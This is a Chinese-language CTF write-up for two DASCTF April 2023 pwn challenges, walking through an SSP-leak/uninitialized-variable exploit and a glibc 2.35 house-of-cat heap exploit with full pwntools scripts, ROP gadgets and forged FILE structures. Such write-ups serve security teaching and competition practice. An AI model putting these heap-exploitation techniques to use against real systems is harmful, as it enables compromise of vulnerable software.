DASCTF Apr.2023 X SU战队2023开局之战 pwn

发布时间 2023-04-29 12:48:46作者: 何思泊河

DASCTF Apr.2023 X SU战队2023开局之战 pwn

four

漏洞是2.23的ssp leak和未初始化漏洞

主要的难点就是分析程序而且题中有一些干扰选项

保护

image-20230422210313120

程序分析

主函数有4个选项

1:是干扰的选项(因为会关闭标准错位流,那就没法打ssp leak)

2:这个函数中有一个未初始化漏洞

3:就是在这个函数中利用未初始化漏洞去打开flag文件

4:就是将flag文件中内容读取到bss上

5:就是在这个函数中去打ssp leak

image-20230422210712454

做题流程

进入2选项

下面的if里面的东西没啥用,就不需要进入了

image-20230422213219387
进入3选项

真正有用也就红框框柱的(结合未初始化漏洞打开flag文件)其他的没用是干扰选项

image-20230422220208313

进入4选项

主要就是控制下面这个read

image-20230422223635613
进入选项5

利用溢出修改存放有程序名的地方并触发canary

image-20230422223742037

exp

from tools import *
#context.log_level='debug'
p=process('a')
debug(p,0x40141F)
p.sendlineafter("your choice : \n",str(2))
p.sendlineafter("You can give any value, trust me, there will be no overflow\n",str(0x5fef))
payload=b'bb'+b'flag\x00'*0x1300 
p.recvuntil("Actually, this function doesn't seem to be useful\n")
p.sendline(payload)


p.sendafter("Really?\n",'n') 
p.recvuntil('your choice :')
pause()
p.sendline('3')
p.sendlineafter("Enter level:",str(1))
p.sendlineafter("Enter mode:",str(1))
p.sendlineafter("Enter X:",str(1))
payload='a'*0x10
p.sendlineafter("Enter a string: ",payload)

p.sendlineafter("please input filename\n",'output.txt')
p.sendlineafter("1. yes\n2.no\n",str(2))

p.sendlineafter("your choice : \n",str(4))
payload='>:`!!>@g*>~3'
p.sendlineafter('info>>\n',payload)

p.sendlineafter("your choice : \n",str(5))
payload=b'a'*0x118+p64(0x602121)
p.sendlineafter("This is a strange overflow. Because of canary, you must not hijack the return address\n",payload)

p.interactive() #0x776dc

largeheap

保护策略

2.35的house of cat

有一个沙箱禁用了execve

程序分析

有三个功能 1、add 2、delete 3、edit

image-20230428205509422

漏洞利用

delete中有一个uaf

edit有两种模式

​ 选择1中有数组溢出可以造成io_leak,(修改io_read_endio_write_base的后两个字节为0(只改倒数第二个字节为0也可以)) (只有两次机会)

​ 选择2就是正常的edit(但只有一次机会)

所以利用流程就是io_leak泄露地址,house of cat 配合svcudp_reply

在这里再说一下house of cat 修改的地方就是两个结构体的write_ptr>write_base

再恢复一下_lock字段

修改wide中vtable(和call有关)

布局

首先先申请四个chunk

add(0,0x440)
add(1,0x430)
add(2,0x450)
add(3,0x468)

再将1和2释放掉在申请出两个chunk4,5大小分别是0x450 0x430(是在原本释放的1和2中申请出来的)

然就是利用uaf让释放5可以和top合并,在通过2完成large bin attack 和修改5的size(也就是top chunk的size)

附上两张伪造的结构体的布局

image-20230429123754359

image-20230429123848424

exp

from tools import *
import time
from ctypes import *

p = process('largeheap')
elf = ELF("./largeheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libs=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="linux",log_level="debug")

def meau(index):
    p.sendlineafter("Your choice: ",str(index))

def add(index,size,content='flag\x00\x00\x00\x00'):
    meau(1)
    p.sendlineafter("index: ",str(index))
    p.sendlineafter("size: ",str(size))
    p.sendafter("content: ",content)

def delete(index):
    meau(2)
    p.sendlineafter("index: ",str(index))

def edit(ints,types,index,content):
    meau(3)
    p.sendlineafter("We need to check your identity!\n",str(ints))
    p.sendlineafter("Please select the type of edit: ",str(types))
    if (types ==1):
        p.sendlineafter("index: ",str(index))
        p.sendafter("content: ",content)
    if (types == 2):
        p.sendlineafter("index: ",str(index))
        p.sendlineafter("Please enter offset: ",str(content))

add_p=0x153E
delete_p=0x1630

add(0xf,0x418,'a')
add(0xe,0x418,'a')
delete(0xf)


libs.srand(int(time.time()))
a=libs.rand()
print(a)
edit(a,2,0xf,0xaa0+0x20+1)

libs.srand(int(time.time()))
a=libs.rand()
print(a)
edit(a,2,0xf,0xaa0+0x20+1-0x10)

strs=b'\x00'*2+b'\x08'+b'\x00'*0x29+b'\x01'+b'\x00'*0x1d
p.recvuntil(strs)

heap_base = u64(p.recv(6).ljust(8,b'\x00'))
log_addr('heap_base')
strs=b'\x01'+b'\x00'*3+b'\xff'*3+b'\x7f'
p.recvuntil(strs)

libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1d809b
log_addr('libc_base')

svcudp_reply=libc_base+0x16a1fa
leave_ret=libc_base+0x00000000000562ec
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
open=libc_base+0x114690
read=libc_base+0x00000114980
write=libc_base+0x000000114a20
add_rsp_0x40=libc_base+0x00000000000ec4d0
p.sendline('2')
p.sendlineafter("index: ",'14')

heap_base=heap_base+0x290
io_file=p64(4)*4# write_ptr
io_file+=p64(0)*3
io_file+=p64(heap_base+0xe0+0xd0-0x18)    #rbp
io_file+=p64(0)*7
io_file+=p64(libc_base+0x21ba60)
io_file+=p64(0)*2   
io_file+=p64(heap_base+0xe0)  # wide
io_file+=p64(0)*6
io_file+=p64(libc_base+0x2160c0+16)
  # 
wide_data=p64(0)*4+p64(1)
wide_data+=p64(0)*19
wide_data+=p64(add_rsp_0x40) 
wide_data+=p64(0xdeadbeef)                               
wide_data+=p64(heap_base+0xe0+0xd0-8)   #rax
wide_data+=p64(0)                   
wide_data+=p64(heap_base+0xe0+0xd0)#wide_vtable
wide_data+=p64(svcudp_reply)
wide_data+=p64(leave_ret)     #second call

flag=heap_base+0x1a8+0x728
orw=p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)
orw+=p64(open)
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(heap_base-0x50)+p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(read)
orw+=p64(pop_rdi)+p64(1)
orw+=p64(pop_rsi)+p64(heap_base-0x50)+p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(write)




add(0,0x440,io_file+wide_data+orw)
add(1,0x430)
add(2,0x450)
add(3,0x468)

delete(1)
delete(2) #merge   save the pointer in 2

add(4,0x460,b'g'*0x430+p64(0)+p64(0x461)) # modify 修改2的inuser位
add(5,0x420)   #reply
delete(2)
add(6,0x450,b'g'*0x20+p64(0)+p64(0xd11))   #修改5的size
delete(2)
add(7,0x460)

delete(0)
delete(5)
stderr=libc_base+libc.symbols['stderr']
payload=p64(libc_base+0x1a0e0)*2+p64(0)+p64(stderr-0x20)+p64(0)+p64(0x301)

log_addr('stderr')

libs.srand(int(time.time()))
a=libs.rand()
edit(a,1,2,payload)
debug(p,'pie',add_p,delete_p) 
add(8,0x468)  #large bin attack 
libs.srand(int(time.time()))

p.interactive()
#4040   large bin 0xa427c  malloc_assert 0xa0ef0          call   0x83d55               
#p *(struct _IO_wide_data *)